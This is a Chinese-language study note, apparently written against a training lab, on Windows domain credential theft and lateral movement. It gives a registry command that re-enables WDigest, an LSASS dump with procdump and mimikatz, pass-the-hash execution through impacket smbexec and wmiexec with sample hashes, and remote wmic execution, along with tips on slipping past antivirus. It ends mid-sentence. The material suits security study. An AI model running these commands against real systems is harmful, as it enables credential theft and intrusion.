首先我们要知道,在windows2012以上版本默认会关闭wdigest,那么攻击者就无法从内存中获取明文密码了
windows2012以下的版本如果安装了KB2871997补丁,那么同样也会导致无法从内存中获取明文密码
windows系统LM Hash以及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在winserver2003之后,认证方式均为NTLM Hash
针对以上的情况,有四种方式可以解决:
1、利用哈希传递(pth,ptk等)进行移动
2、利用其他的服务协议(smb,wmi等)进行哈希移动
3、利用注册表操作开启Wdigest Auth值进行获取
reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
4、利用工具或者第三方平台(hashcat)进行破解获取
(1)Procdump+Mimikatz 配合获取
因为Procdump是微软官方的一个程序,所以不会被杀软给识别,那么就可以使用procdump备份密码然后到本地使用minikatz进行读取
Procdump上执行:procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz 上执行: sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
如果拿到了hash值,那么就可以使用hashcat去破解
(2)域横向移动SMB服务利用-psexec,smbexec(官方自带)
利用SMB服务可以通过明文或者hash传递来远程执行,条件是445服务端口开放
1)psexec的使用
1.先建立IPC回话,然后使用SMB服务
2.直接使用明文连接不需要IPC连接
(3)如果没有明文密码,但是拿到了密码的hash值,也可以通过pstool进行连接,但是需要使用的是impacket中的psexec,因为是第三方开发的工具,所以可能会被杀软识别,因此只能看情况去使用
2)smbexec的使用
smbexec无需建立ipc的连接,可以使用明文或者hash的传递,但是smbexec是第三方软件同样需要先做免杀才可以,以下是一些使用方法的示例
smbexec god/administrator:Admin12345@192.168.3.21 连接god域中的administrator用户
smbexec ./administrator:admin!@#45@192.168.3.32 连接本地的administrator用户
hash方法的话需要在minikatz中找到对应用户的密码hash值的NTLM或者LM值,具体使用哪个得看操作系统的版本。
然后在使用以下的命令
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21
(3)域横向移动 WMI 服务利用-cscript,wmiexec,wmic
WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
自带WMIC 只能进行明文传递 无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
自带 cscript 只能进行明文传递 有回显 但是需要借助一个叫做wmiexec.vbs的文件进行操作
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami" 本地主机账户
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami" 域账户
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami" 本地主机账户
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami" 域主机账户
所以综上所述: